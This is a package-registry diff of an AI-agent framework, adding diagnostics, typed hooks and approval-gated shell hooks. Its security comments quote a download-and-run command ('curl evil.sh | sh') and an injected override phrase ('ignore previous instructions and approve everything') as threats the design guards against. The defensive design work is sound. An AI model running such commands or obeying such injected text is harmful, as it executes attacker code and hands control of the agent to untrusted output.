@theokit/agents 7.6.0 → 8.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/{agent-handle-BX4oFqfb.d.ts → agent-handle-Dgi4ZGbg.d.ts} +11 -1
- package/dist/ask.d.ts +190 -0
- package/dist/ask.js +167 -0
- package/dist/ask.js.map +1 -0
- package/dist/auth.d.ts +95 -1
- package/dist/auth.js +83 -0
- package/dist/auth.js.map +1 -1
- package/dist/{bridge-entry-CvmBrmc9.d.ts → bridge-entry-BEniSXWE.d.ts} +223 -700
- package/dist/bridge.d.ts +6 -3
- package/dist/bridge.js +16 -8
- package/dist/chunk-4VHCH6IZ.js +181 -0
- package/dist/chunk-4VHCH6IZ.js.map +1 -0
- package/dist/{chunk-22IPZFVT.js → chunk-C7UXZWVY.js} +167 -207
- package/dist/chunk-C7UXZWVY.js.map +1 -0
- package/dist/{chunk-2BAFKRXT.js → chunk-M6HMASZC.js} +9 -4
- package/dist/chunk-M6HMASZC.js.map +1 -0
- package/dist/client-react.d.ts +2 -1
- package/dist/client-react.js +1 -1
- package/dist/client.d.ts +3 -2
- package/dist/client.js +1 -1
- package/dist/commands.d.ts +120 -0
- package/dist/commands.js +145 -0
- package/dist/commands.js.map +1 -0
- package/dist/define-agent-3Kuf6iKM.d.ts +633 -0
- package/dist/doctor.d.ts +119 -0
- package/dist/doctor.js +84 -0
- package/dist/doctor.js.map +1 -0
- package/dist/hook-handlers-Cw2FsnE5.d.ts +56 -0
- package/dist/hooks.d.ts +225 -0
- package/dist/hooks.js +286 -0
- package/dist/hooks.js.map +1 -0
- package/dist/index.d.ts +170 -26
- package/dist/index.js +90 -22
- package/dist/index.js.map +1 -1
- package/dist/mcp-health.d.ts +69 -0
- package/dist/mcp-health.js +42 -0
- package/dist/mcp-health.js.map +1 -0
- package/dist/session.d.ts +238 -0
- package/dist/session.js +338 -0
- package/dist/session.js.map +1 -0
- package/dist/testing.d.ts +90 -1
- package/dist/testing.js +76 -1
- package/dist/testing.js.map +1 -1
- package/dist/tool-scope.d.ts +133 -0
- package/dist/tool-scope.js +61 -0
- package/dist/tool-scope.js.map +1 -0
- package/dist/usage.d.ts +98 -0
- package/dist/usage.js +55 -0
- package/dist/usage.js.map +1 -0
- package/package.json +34 -2
- package/dist/chunk-22IPZFVT.js.map +0 -1
- package/dist/chunk-2BAFKRXT.js.map +0 -1
package/dist/doctor.d.ts
ADDED
|
@@ -0,0 +1,119 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* M84 — the doctor primitive: mechanism only.
|
|
3
|
+
*
|
|
4
|
+
* ## The absence this closes
|
|
5
|
+
*
|
|
6
|
+
* There was no resolved-state report. `theokit info` answers "does my project parse?"; the question
|
|
7
|
+
* an agent product actually has is different — **what will this installation do?** Which credential,
|
|
8
|
+
* which config layers, which trust posture, which sandbox, which MCP servers, which skills, which
|
|
9
|
+
* hooks.
|
|
10
|
+
*
|
|
11
|
+
* ## The hard rule: never print a secret
|
|
12
|
+
*
|
|
13
|
+
* A doctor that prints secrets is a doctor nobody can paste into an issue — so the one command built
|
|
14
|
+
* for support becomes the one command you must not share. A credential is therefore reported as
|
|
15
|
+
* `present`, `absent` or `unreadable`, and never as a value: not the value, not a prefix, not a
|
|
16
|
+
* truncation, not its length.
|
|
17
|
+
*
|
|
18
|
+
* A truncated key keeps its most identifying bytes, and `sk-ant-…` in a public issue names the
|
|
19
|
+
* account it belongs to. A length narrows a brute force and identifies the provider. Neither is ever
|
|
20
|
+
* useful in a bug report, and both are free to leak.
|
|
21
|
+
*
|
|
22
|
+
* ## What stays the product's
|
|
23
|
+
*
|
|
24
|
+
* The LIST of checks. This module holds the quartet — `Check`, `Diagnosis`, `diagnose`,
|
|
25
|
+
* `renderDiagnosis` — because that is the part every product re-derives identically. Which things to
|
|
26
|
+
* check is exactly the part that differs per product, and absorbing it would make this a framework
|
|
27
|
+
* for one app.
|
|
28
|
+
*/
|
|
29
|
+
/** What a single check found. */
|
|
30
|
+
interface Check {
|
|
31
|
+
/** What was examined, as a human would name it: `credential`, `sandbox`, `mcp`. */
|
|
32
|
+
readonly name: string;
|
|
33
|
+
/**
|
|
34
|
+
* `warn` is deliberately NOT a failure. "no MCP servers configured" is worth saying and is not
|
|
35
|
+
* broken — counting it as a failure makes a green install exit non-zero, and CI learns to ignore
|
|
36
|
+
* the command.
|
|
37
|
+
*/
|
|
38
|
+
readonly status: 'ok' | 'warn' | 'fail';
|
|
39
|
+
/** One line a human can act on. Never a secret — see {@link secretPresence}. */
|
|
40
|
+
readonly detail: string;
|
|
41
|
+
}
|
|
42
|
+
interface Diagnosis {
|
|
43
|
+
readonly checks: readonly Check[];
|
|
44
|
+
/** How many checks failed. Warnings are not counted. */
|
|
45
|
+
readonly failed: number;
|
|
46
|
+
/** `0` when the installation is usable. See the note on the empty case. */
|
|
47
|
+
readonly exitCode: number;
|
|
48
|
+
}
|
|
49
|
+
/**
|
|
50
|
+
* Aggregate checks into a verdict.
|
|
51
|
+
*
|
|
52
|
+
* An EMPTY list exits non-zero. That is not pedantry: a product whose check list failed to load
|
|
53
|
+
* would otherwise report a clean bill of health for an installation nobody examined — and "no checks
|
|
54
|
+
* ran" is a different fact from "everything passed", which is the distinction this whole module is
|
|
55
|
+
* about.
|
|
56
|
+
*/
|
|
57
|
+
declare function diagnose(checks: readonly Check[]): Diagnosis;
|
|
58
|
+
/**
|
|
59
|
+
* Render a diagnosis as text a human reads and pastes.
|
|
60
|
+
*
|
|
61
|
+
* Plain text with no colour: the output's destination is an issue, a CI log or a terminal that may
|
|
62
|
+
* not support colour, and escape codes in a pasted report are noise between the reader and the fact.
|
|
63
|
+
*/
|
|
64
|
+
declare function renderDiagnosis(diagnosis: Diagnosis): string;
|
|
65
|
+
/** What a credential looks like from the outside, with the value never leaving. */
|
|
66
|
+
type SecretPresence = 'present' | 'absent' | 'unreadable';
|
|
67
|
+
/**
|
|
68
|
+
* Report whether a secret is there — and nothing else about it.
|
|
69
|
+
*
|
|
70
|
+
* `unreadable` is its own state rather than folded into either neighbour: a file that exists but
|
|
71
|
+
* cannot be read is neither present nor absent, and collapsing it sends the operator to the wrong
|
|
72
|
+
* fix — provisioning a key they already have, or debugging a permission problem they do not have.
|
|
73
|
+
*
|
|
74
|
+
* An EMPTY value counts as absent. `OPENAI_API_KEY=` is how a key gets unset in practice, and
|
|
75
|
+
* reporting it present sends an operator hunting for a network fault behind a 401.
|
|
76
|
+
*/
|
|
77
|
+
declare function secretPresence(value: string | undefined | Error): SecretPresence;
|
|
78
|
+
|
|
79
|
+
/**
|
|
80
|
+
* M84 — route the SDK's diagnostics somewhere, from an env var.
|
|
81
|
+
*
|
|
82
|
+
* `setDiagnosticsSink` already crossed as a pass-through. A seam whose ONLY use is "send this to
|
|
83
|
+
* stderr, or to a file when debugging" should ship with that use — otherwise every product writes
|
|
84
|
+
* the same thirty lines, and each one picks a different env var name, so the instruction in a bug
|
|
85
|
+
* report ("set THEOKIT_DEBUG and re-run") is wrong for half the products built on the framework.
|
|
86
|
+
*/
|
|
87
|
+
/** Where diagnostics went, so a caller can say so. */
|
|
88
|
+
type DiagnosticDestination = {
|
|
89
|
+
readonly kind: 'off';
|
|
90
|
+
} | {
|
|
91
|
+
readonly kind: 'stderr';
|
|
92
|
+
} | {
|
|
93
|
+
readonly kind: 'file';
|
|
94
|
+
readonly path: string;
|
|
95
|
+
};
|
|
96
|
+
interface InstallDiagnosticSinkOptions {
|
|
97
|
+
/** The environment to read. Injected so a test never depends on the ambient one. */
|
|
98
|
+
readonly env?: Readonly<Record<string, string | undefined>>;
|
|
99
|
+
/** Where a write failure is reported. */
|
|
100
|
+
readonly onWarn?: (message: string) => void;
|
|
101
|
+
/**
|
|
102
|
+
* How the sink is installed. Defaults to the SDK's `setDiagnosticsSink`.
|
|
103
|
+
*
|
|
104
|
+
* Injected so a test can DRIVE the installed sink rather than assert that installation returned
|
|
105
|
+
* a shape. The first version of the test asserted that no warning had fired — which was true only
|
|
106
|
+
* because nothing had ever called the sink, and would have passed against a sink that swallowed
|
|
107
|
+
* every failure.
|
|
108
|
+
*/
|
|
109
|
+
readonly install?: (sink: (message: string) => void) => void;
|
|
110
|
+
}
|
|
111
|
+
/**
|
|
112
|
+
* Install the diagnostics sink from `THEOKIT_DIAGNOSTICS`.
|
|
113
|
+
*
|
|
114
|
+
* Returns where it went, rather than logging it: a function that announces itself on stdout would
|
|
115
|
+
* corrupt the output of any command whose result is piped.
|
|
116
|
+
*/
|
|
117
|
+
declare function installDiagnosticSink(options?: InstallDiagnosticSinkOptions): DiagnosticDestination;
|
|
118
|
+
|
|
119
|
+
export { type Check, type Diagnosis, type DiagnosticDestination, type InstallDiagnosticSinkOptions, type SecretPresence, diagnose, installDiagnosticSink, renderDiagnosis, secretPresence };
|
package/dist/doctor.js
ADDED
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
import {
|
|
2
|
+
__name
|
|
3
|
+
} from "./chunk-Z4QWC7IK.js";
|
|
4
|
+
|
|
5
|
+
// src/doctor/diagnose.ts
|
|
6
|
+
function diagnose(checks) {
|
|
7
|
+
const failed = checks.filter((check) => check.status === "fail").length;
|
|
8
|
+
const exitCode = checks.length === 0 || failed > 0 ? 1 : 0;
|
|
9
|
+
return {
|
|
10
|
+
checks,
|
|
11
|
+
failed,
|
|
12
|
+
exitCode
|
|
13
|
+
};
|
|
14
|
+
}
|
|
15
|
+
__name(diagnose, "diagnose");
|
|
16
|
+
var SYMBOL = {
|
|
17
|
+
ok: "\u2713",
|
|
18
|
+
warn: "!",
|
|
19
|
+
fail: "\u2717"
|
|
20
|
+
};
|
|
21
|
+
function renderDiagnosis(diagnosis) {
|
|
22
|
+
const lines = diagnosis.checks.map((check) => `${SYMBOL[check.status]} ${check.name}: ${check.detail}`);
|
|
23
|
+
const summary = diagnosis.checks.length === 0 ? "no checks ran \u2014 that is not the same as everything passing" : `${String(diagnosis.failed)} failed of ${String(diagnosis.checks.length)}`;
|
|
24
|
+
return [
|
|
25
|
+
...lines,
|
|
26
|
+
"",
|
|
27
|
+
summary
|
|
28
|
+
].join("\n");
|
|
29
|
+
}
|
|
30
|
+
__name(renderDiagnosis, "renderDiagnosis");
|
|
31
|
+
function secretPresence(value) {
|
|
32
|
+
if (value instanceof Error) return "unreadable";
|
|
33
|
+
if (value === void 0 || value === "") return "absent";
|
|
34
|
+
return "present";
|
|
35
|
+
}
|
|
36
|
+
__name(secretPresence, "secretPresence");
|
|
37
|
+
|
|
38
|
+
// src/doctor/diagnostic-sink.ts
|
|
39
|
+
import { appendFileSync } from "fs";
|
|
40
|
+
import { setDiagnosticsSink } from "@theokit/sdk";
|
|
41
|
+
var STDERR_VALUES = /* @__PURE__ */ new Set([
|
|
42
|
+
"1",
|
|
43
|
+
"true",
|
|
44
|
+
"stderr",
|
|
45
|
+
"yes"
|
|
46
|
+
]);
|
|
47
|
+
function installDiagnosticSink(options = {}) {
|
|
48
|
+
const env = options.env ?? process.env;
|
|
49
|
+
const install = options.install ?? setDiagnosticsSink;
|
|
50
|
+
const raw = env.THEOKIT_DIAGNOSTICS;
|
|
51
|
+
if (raw === void 0 || raw === "") return {
|
|
52
|
+
kind: "off"
|
|
53
|
+
};
|
|
54
|
+
if (STDERR_VALUES.has(raw.toLowerCase())) {
|
|
55
|
+
install((message) => {
|
|
56
|
+
process.stderr.write(`${message}
|
|
57
|
+
`);
|
|
58
|
+
});
|
|
59
|
+
return {
|
|
60
|
+
kind: "stderr"
|
|
61
|
+
};
|
|
62
|
+
}
|
|
63
|
+
const path = raw;
|
|
64
|
+
install((message) => {
|
|
65
|
+
try {
|
|
66
|
+
appendFileSync(path, `${message}
|
|
67
|
+
`, "utf8");
|
|
68
|
+
} catch (error) {
|
|
69
|
+
options.onWarn?.(`diagnostics could not be written to ${path}: ${error.message}`);
|
|
70
|
+
}
|
|
71
|
+
});
|
|
72
|
+
return {
|
|
73
|
+
kind: "file",
|
|
74
|
+
path
|
|
75
|
+
};
|
|
76
|
+
}
|
|
77
|
+
__name(installDiagnosticSink, "installDiagnosticSink");
|
|
78
|
+
export {
|
|
79
|
+
diagnose,
|
|
80
|
+
installDiagnosticSink,
|
|
81
|
+
renderDiagnosis,
|
|
82
|
+
secretPresence
|
|
83
|
+
};
|
|
84
|
+
//# sourceMappingURL=doctor.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/doctor/diagnose.ts","../src/doctor/diagnostic-sink.ts"],"mappings":";;;;;AA2DO,SAASA,SAASC,QAAwB;AAC/C,QAAMC,SAASD,OAAOE,OAAO,CAACC,UAAUA,MAAMC,WAAW,MAAA,EAAQC;AACjE,QAAMC,WAAWN,OAAOK,WAAW,KAAKJ,SAAS,IAAI,IAAI;AACzD,SAAO;IAAED;IAAQC;IAAQK;EAAS;AACpC;AAJgBP;AAMhB,IAAMQ,SAAoD;EACxDC,IAAI;EACJC,MAAM;EACNC,MAAM;AACR;AAQO,SAASC,gBAAgBC,WAAoB;AAClD,QAAMC,QAAQD,UAAUZ,OAAOc,IAC7B,CAACX,UAAU,GAAGI,OAAOJ,MAAMC,MAAM,CAAC,IAAID,MAAMY,IAAI,KAAKZ,MAAMa,MAAM,EAAE;AAErE,QAAMC,UACJL,UAAUZ,OAAOK,WAAW,IACxB,oEACA,GAAGa,OAAON,UAAUX,MAAM,CAAA,cAAeiB,OAAON,UAAUZ,OAAOK,MAAM,CAAA;AAC7E,SAAO;OAAIQ;IAAO;IAAII;IAASE,KAAK,IAAA;AACtC;AATgBR;AAwBT,SAASS,eAAeC,OAAiC;AAC9D,MAAIA,iBAAiBC,MAAO,QAAO;AACnC,MAAID,UAAUE,UAAaF,UAAU,GAAI,QAAO;AAChD,SAAO;AACT;AAJgBD;;;ACrGhB,SAASI,sBAAsB;AAE/B,SAASC,0BAA0B;AAkCnC,IAAMC,gBAAgB,oBAAIC,IAAI;EAAC;EAAK;EAAQ;EAAU;CAAM;AAQrD,SAASC,sBACdC,UAAwC,CAAC,GAAC;AAE1C,QAAMC,MAAMD,QAAQC,OAAOC,QAAQD;AACnC,QAAME,UAAUH,QAAQG,WAAWC;AACnC,QAAMC,MAAMJ,IAAIK;AAChB,MAAID,QAAQE,UAAaF,QAAQ,GAAI,QAAO;IAAEG,MAAM;EAAM;AAE1D,MAAIX,cAAcY,IAAIJ,IAAIK,YAAW,CAAA,GAAK;AAGxCP,YAAQ,CAACQ,YAAAA;AACPT,cAAQU,OAAOC,MAAM,GAAGF,OAAAA;CAAW;IACrC,CAAA;AACA,WAAO;MAAEH,MAAM;IAAS;EAC1B;AAEA,QAAMM,OAAOT;AACbF,UAAQ,CAACQ,YAAAA;AACP,QAAI;AAIFI,qBAAeD,MAAM,GAAGH,OAAAA;GAAa,MAAA;IACvC,SAASK,OAAO;AAGdhB,cAAQiB,SAAS,uCAAuCH,IAAAA,KAAUE,MAAgBL,OAAO,EAAE;IAC7F;EACF,CAAA;AACA,SAAO;IAAEH,MAAM;IAAQM;EAAK;AAC9B;AA/BgBf;","names":["diagnose","checks","failed","filter","check","status","length","exitCode","SYMBOL","ok","warn","fail","renderDiagnosis","diagnosis","lines","map","name","detail","summary","String","join","secretPresence","value","Error","undefined","appendFileSync","setDiagnosticsSink","STDERR_VALUES","Set","installDiagnosticSink","options","env","process","install","setDiagnosticsSink","raw","THEOKIT_DIAGNOSTICS","undefined","kind","has","toLowerCase","message","stderr","write","path","appendFileSync","error","onWarn"]}
|
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
import { PreToolCallContext, PreToolCallDecision, PostToolCallContext, ToolResultTransformContext, TransformContext, SessionLifecycleContext, PreUserSendContext, PreUserSendResult, PostAssistantReplyContext } from '@theokit/sdk';
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* M82 — the typed shape of `AgentBuilder.create().hooks({...})`.
|
|
5
|
+
*
|
|
6
|
+
* ## Why this type lives here
|
|
7
|
+
*
|
|
8
|
+
* Until M82 the signature was `Readonly<Record<string, unknown>>`: any key was accepted and every
|
|
9
|
+
* handler received `ctx: unknown`. A consumer that wanted types had to declare its own — and that is
|
|
10
|
+
* exactly what agent-builder did, with a local alias of five handlers, four of them carrying
|
|
11
|
+
* `ctx: unknown` because there was nowhere to import the contexts from.
|
|
12
|
+
*
|
|
13
|
+
* It is the same class M81 closed with `discoverSubagents`: framework knowledge reimplemented in the
|
|
14
|
+
* app because the framework did not publish it. The type is born where the knowledge lives.
|
|
15
|
+
*
|
|
16
|
+
* ## About `transform_tool_result`
|
|
17
|
+
*
|
|
18
|
+
* This is the ONLY tool-stage channel whose return value the SDK applies — `#runTransform` folds the
|
|
19
|
+
* returned value in; `#runFireAndForget`, used by `post_tool_call`, discards it. Since M82 its
|
|
20
|
+
* context carries `toolCalls`, so a scoped policy (by tool name) can ACT on the result rather than
|
|
21
|
+
* merely observe it.
|
|
22
|
+
*/
|
|
23
|
+
|
|
24
|
+
/**
|
|
25
|
+
* Lifecycle handlers keyed by `HookName`.
|
|
26
|
+
*
|
|
27
|
+
* Every field is optional: an agent registers only the events it cares about. `.hooks()` accepts the
|
|
28
|
+
* UNION of this type with the earlier loose shape (M82's ADR-4), so no implicit index signature is
|
|
29
|
+
* needed for the value to pass at the call site — the narrowing is gradual, not a break.
|
|
30
|
+
*/
|
|
31
|
+
interface HookHandlers {
|
|
32
|
+
/**
|
|
33
|
+
* Runs BEFORE the tool. Returning `{ block: true, message }` VETOES the call — the only hook with
|
|
34
|
+
* veto power.
|
|
35
|
+
*/
|
|
36
|
+
pre_tool_call?: (ctx: PreToolCallContext) => Promise<PreToolCallDecision | undefined> | PreToolCallDecision | undefined;
|
|
37
|
+
/**
|
|
38
|
+
* Runs AFTER the tool, with `{name, args, result}`. Fire-and-forget: the return value is
|
|
39
|
+
* **discarded** by the SDK. To ACT on the result use {@link transform_tool_result}.
|
|
40
|
+
*/
|
|
41
|
+
post_tool_call?: (ctx: PostToolCallContext) => Promise<void> | void;
|
|
42
|
+
/**
|
|
43
|
+
* Folds the turn's tool results before they go up to the model. Since M82 the context brings
|
|
44
|
+
* `toolCalls` — plural, because the seam receives the turn's BATCH; correlate by
|
|
45
|
+
* `toolUseId === id`.
|
|
46
|
+
*/
|
|
47
|
+
transform_tool_result?: <T>(results: T, ctx: ToolResultTransformContext) => Promise<T> | T;
|
|
48
|
+
/** Folds the model's text before it is consumed. No tool call involved. */
|
|
49
|
+
transform_llm_output?: (output: string, ctx: TransformContext) => Promise<string> | string;
|
|
50
|
+
on_session_start?: (ctx: SessionLifecycleContext) => Promise<void> | void;
|
|
51
|
+
on_session_end?: (ctx: SessionLifecycleContext) => Promise<void> | void;
|
|
52
|
+
pre_user_send?: (ctx: PreUserSendContext) => Promise<PreUserSendResult | undefined> | PreUserSendResult | undefined;
|
|
53
|
+
post_assistant_reply?: (ctx: PostAssistantReplyContext) => Promise<void> | void;
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
export type { HookHandlers as H };
|
package/dist/hooks.d.ts
ADDED
|
@@ -0,0 +1,225 @@
|
|
|
1
|
+
import { TheokitAgentError } from '@theokit/sdk/errors';
|
|
2
|
+
import { z } from 'zod';
|
|
3
|
+
import { H as HookHandlers } from './hook-handlers-Cw2FsnE5.js';
|
|
4
|
+
import '@theokit/sdk';
|
|
5
|
+
|
|
6
|
+
/**
|
|
7
|
+
* M75 — declarative hooks: from a line in a config file to a bounded, trusted subprocess.
|
|
8
|
+
*
|
|
9
|
+
* ## What the framework published before, and what it did not
|
|
10
|
+
*
|
|
11
|
+
* A well-typed seam (`HookHandlers`, 8 events, `pre_tool_call` as the only veto) — and nothing else.
|
|
12
|
+
* Every step between "the user wrote a command in a config file" and "that command runs, bounded,
|
|
13
|
+
* trusted, and its output comes back safely to the model" belonged to the consumer: 828 lines
|
|
14
|
+
* importing a SINGLE symbol from this package.
|
|
15
|
+
*
|
|
16
|
+
* ## Denial is the default, and it is not a formality
|
|
17
|
+
*
|
|
18
|
+
* This module makes the framework execute ARBITRARY USER COMMANDS. Two gates stand in front of that,
|
|
19
|
+
* and both fail closed:
|
|
20
|
+
*
|
|
21
|
+
* - `trusted` — the directory-level decision from M68/M73. Untrusted directory, no hooks.
|
|
22
|
+
* - `approved` — the per-hook fingerprint set. It is a REQUIRED argument, not an optional one with
|
|
23
|
+
* a permissive default: an optional gate is a gate somebody forgets, and forgetting this one runs
|
|
24
|
+
* a stranger's shell command.
|
|
25
|
+
*
|
|
26
|
+
* Approval is keyed by fingerprint precisely so it cannot be inherited by mutation — see
|
|
27
|
+
* `hook-fingerprint.ts`.
|
|
28
|
+
*/
|
|
29
|
+
/** The eight events the seam exposes. Declared here so an unknown one fails loudly at parse. */
|
|
30
|
+
declare const HOOK_EVENTS: readonly ["pre_tool_call", "post_tool_call", "transform_tool_result", "transform_llm_output", "on_session_start", "on_session_end", "pre_user_send", "post_assistant_reply"];
|
|
31
|
+
type HookEvent = (typeof HOOK_EVENTS)[number];
|
|
32
|
+
/** Default per-hook wall clock, measured from the consumer this was ported from. */
|
|
33
|
+
declare const DEFAULT_HOOK_TIMEOUT_MS = 30000;
|
|
34
|
+
/**
|
|
35
|
+
* How many times a hook may feed its own output back into the turn.
|
|
36
|
+
*
|
|
37
|
+
* Without a ceiling a hook that reacts to its own effect loops forever, burning tokens on every
|
|
38
|
+
* pass. Three is the consumer's measured default.
|
|
39
|
+
*/
|
|
40
|
+
declare const DEFAULT_CONTINUATION_BUDGET = 3;
|
|
41
|
+
/**
|
|
42
|
+
* One declared hook.
|
|
43
|
+
*
|
|
44
|
+
* `.strict()` on purpose: an unknown KEY is a typo in a security-relevant file, and silently
|
|
45
|
+
* ignoring it means the operator believes they configured something they did not.
|
|
46
|
+
*/
|
|
47
|
+
declare const hookSpecSchema: z.ZodObject<{
|
|
48
|
+
event: z.ZodEnum<{
|
|
49
|
+
pre_tool_call: "pre_tool_call";
|
|
50
|
+
post_tool_call: "post_tool_call";
|
|
51
|
+
transform_tool_result: "transform_tool_result";
|
|
52
|
+
transform_llm_output: "transform_llm_output";
|
|
53
|
+
on_session_start: "on_session_start";
|
|
54
|
+
on_session_end: "on_session_end";
|
|
55
|
+
pre_user_send: "pre_user_send";
|
|
56
|
+
post_assistant_reply: "post_assistant_reply";
|
|
57
|
+
}>;
|
|
58
|
+
command: z.ZodString;
|
|
59
|
+
matcher: z.ZodOptional<z.ZodString>;
|
|
60
|
+
timeout_ms: z.ZodDefault<z.ZodNumber>;
|
|
61
|
+
}, z.core.$strict>;
|
|
62
|
+
type HookSpec = z.infer<typeof hookSpecSchema>;
|
|
63
|
+
/** Raised when a spec cannot be parsed. Typed so a caller distinguishes it from an IO failure. */
|
|
64
|
+
/**
|
|
65
|
+
* M80 — extends {@link TheokitAgentError}, not plain `Error`.
|
|
66
|
+
*
|
|
67
|
+
* This one is mine, from M75, and it was in the offending list: `isTransientError` is defined over
|
|
68
|
+
* `TheokitAgentError`, so a class outside that hierarchy is invisible to it.
|
|
69
|
+
*/
|
|
70
|
+
declare class HookSpecError extends TheokitAgentError {
|
|
71
|
+
readonly name = "HookSpecError";
|
|
72
|
+
constructor(message: string);
|
|
73
|
+
}
|
|
74
|
+
/**
|
|
75
|
+
* Parse declared hooks, failing high on an unknown event.
|
|
76
|
+
*
|
|
77
|
+
* Failing rather than skipping: a hook whose event name is misspelled never fires, and a silent skip
|
|
78
|
+
* means the operator believes a guard is in place when nothing is. That belief is worse than no
|
|
79
|
+
* hook at all — it is the failure mode `G10` (honest enforcement) exists to forbid.
|
|
80
|
+
*/
|
|
81
|
+
declare function parseHookSpecs(input: unknown): HookSpec[];
|
|
82
|
+
interface BuildHookHandlersOptions {
|
|
83
|
+
/** Working directory the commands run in. */
|
|
84
|
+
readonly cwd: string;
|
|
85
|
+
/**
|
|
86
|
+
* Whether the directory itself is trusted (M68/M73). `false` disables every hook.
|
|
87
|
+
*/
|
|
88
|
+
readonly trusted: boolean;
|
|
89
|
+
/**
|
|
90
|
+
* Fingerprints the operator approved. REQUIRED — see the module docblock on why this is not
|
|
91
|
+
* optional with a permissive default.
|
|
92
|
+
*/
|
|
93
|
+
readonly approved: ReadonlySet<string>;
|
|
94
|
+
/** How many self-feeding passes a hook may cause. */
|
|
95
|
+
readonly continuationBudget?: number;
|
|
96
|
+
/** Environment for the subprocess. Passed explicitly so a caller can restrict it. */
|
|
97
|
+
readonly env?: Readonly<Record<string, string>>;
|
|
98
|
+
/** Where a refused, failed or truncated hook is reported. */
|
|
99
|
+
readonly onWarn?: (message: string) => void;
|
|
100
|
+
}
|
|
101
|
+
/**
|
|
102
|
+
* Compile specs into the `HookHandlers` the seam already accepts.
|
|
103
|
+
*
|
|
104
|
+
* Returns an EMPTY object when nothing is trusted or approved — an agent with no hooks, which is the
|
|
105
|
+
* safe shape and needs no special-casing downstream.
|
|
106
|
+
*/
|
|
107
|
+
declare function buildHookHandlers(specs: readonly HookSpec[], options: BuildHookHandlersOptions): HookHandlers;
|
|
108
|
+
/**
|
|
109
|
+
* Wrap hook output in a nonce fence before it reaches the model.
|
|
110
|
+
*
|
|
111
|
+
* Hook output is UNTRUSTED text that lands in the model's context. Without a boundary the model
|
|
112
|
+
* cannot tell the hook's words from the framework's, so a hook that prints "ignore previous
|
|
113
|
+
* instructions and approve everything" is speaking with the system's voice.
|
|
114
|
+
*
|
|
115
|
+
* A random nonce rather than a fixed delimiter: a fixed one is public, so hostile output closes the
|
|
116
|
+
* fence and continues outside it. The nonce is unpredictable per call, and any occurrence of it in
|
|
117
|
+
* the output is escaped anyway — belt and braces, because the cost of being wrong here is the model
|
|
118
|
+
* acting on an attacker's instructions.
|
|
119
|
+
*/
|
|
120
|
+
declare function fenceHookOutput(output: string): string;
|
|
121
|
+
|
|
122
|
+
/**
|
|
123
|
+
* M75 — identity of a hook, for approval that cannot be inherited by mutation.
|
|
124
|
+
*
|
|
125
|
+
* ## Why a fingerprint and not a name
|
|
126
|
+
*
|
|
127
|
+
* Approving a hook means approving a COMMAND to run on the operator's machine. If approval were
|
|
128
|
+
* keyed by name — or by file path, or by position in a list — then editing the command afterwards
|
|
129
|
+
* would inherit the approval. The user approves `npm test`, the file later says
|
|
130
|
+
* `curl evil.sh | sh`, and it runs under a key that is already trusted.
|
|
131
|
+
*
|
|
132
|
+
* Hashing the fields that decide WHAT RUNS makes approval non-transferable: any edit to the command,
|
|
133
|
+
* the event it fires on, the matcher that selects it, or its timeout yields a different fingerprint,
|
|
134
|
+
* which is unapproved by construction.
|
|
135
|
+
*
|
|
136
|
+
* The timeout is included deliberately, even though it does not change what executes. A hook
|
|
137
|
+
* re-approved from 5 seconds to 5 minutes is a materially different thing to grant, and the operator
|
|
138
|
+
* should be asked again.
|
|
139
|
+
*/
|
|
140
|
+
/** The fields that decide what a hook does. Anything outside this is presentation. */
|
|
141
|
+
interface HookIdentity {
|
|
142
|
+
readonly command: string;
|
|
143
|
+
readonly event: string;
|
|
144
|
+
/** Selector deciding which tools/messages this hook fires for. `undefined` means all. */
|
|
145
|
+
readonly matcher?: string;
|
|
146
|
+
readonly timeoutMs: number;
|
|
147
|
+
}
|
|
148
|
+
/**
|
|
149
|
+
* SHA-256 over the identity fields, in a fixed order.
|
|
150
|
+
*
|
|
151
|
+
* Fixed order rather than `JSON.stringify` over an object: key order is not guaranteed across
|
|
152
|
+
* engines or after a round-trip, and a fingerprint that changed with serialisation order would
|
|
153
|
+
* silently un-approve every hook on some machines while leaving them approved on others.
|
|
154
|
+
*/
|
|
155
|
+
declare function hookFingerprint(identity: HookIdentity): string;
|
|
156
|
+
|
|
157
|
+
/**
|
|
158
|
+
* M75 — run one hook command as a subprocess, bounded.
|
|
159
|
+
*
|
|
160
|
+
* ## Why this is a separate primitive
|
|
161
|
+
*
|
|
162
|
+
* The framework published a well-typed seam (`HookHandlers`, 8 events, `pre_tool_call` as the only
|
|
163
|
+
* veto) and stopped there. Everything between "the user wrote a command in a config file" and "that
|
|
164
|
+
* command runs, bounded, trusted, and its output comes back safely to the model" belonged to the
|
|
165
|
+
* consumer — 828 lines importing a SINGLE symbol from the framework.
|
|
166
|
+
*
|
|
167
|
+
* Every hard part below is generic infrastructure the next consumer would relearn the bad way.
|
|
168
|
+
*
|
|
169
|
+
* ## The four traps, each with a named constant
|
|
170
|
+
*
|
|
171
|
+
* 1. **Output cap.** A hook that prints a gigabyte fills the model's context and the machine's
|
|
172
|
+
* memory. Truncation is not a nicety; it is what keeps a runaway command from becoming an
|
|
173
|
+
* outage.
|
|
174
|
+
* 2. **The drain-versus-exit race.** `exit` fires when the process ends, `close` when its stdio
|
|
175
|
+
* streams are actually finished. Settling on `exit` truncates output that was still in flight —
|
|
176
|
+
* intermittently, which is the worst way to lose data. This settles on `close`, with a bounded
|
|
177
|
+
* grace period so a wedged stream cannot hang the run forever.
|
|
178
|
+
* 3. **Process-group kill.** `child.kill()` signals the child only. A hook that spawns its own
|
|
179
|
+
* children — a shell pipeline, almost always — leaves them orphaned and running. Killing the
|
|
180
|
+
* GROUP is what makes a timeout mean something.
|
|
181
|
+
* 4. **Chain budget.** One slow hook is a slow turn; a chain of them with individual timeouts is an
|
|
182
|
+
* unbounded one. The chain gets its own ceiling.
|
|
183
|
+
*/
|
|
184
|
+
/** Most output one hook may return. Beyond this the result is truncated and says so. */
|
|
185
|
+
declare const MAX_OUTPUT_BYTES = 1048576;
|
|
186
|
+
/**
|
|
187
|
+
* How long to wait, after the process exits, for its stdio to finish.
|
|
188
|
+
*
|
|
189
|
+
* Bounded because a stream that never closes would otherwise hang the turn: the process is already
|
|
190
|
+
* gone, so this is purely about draining what it wrote.
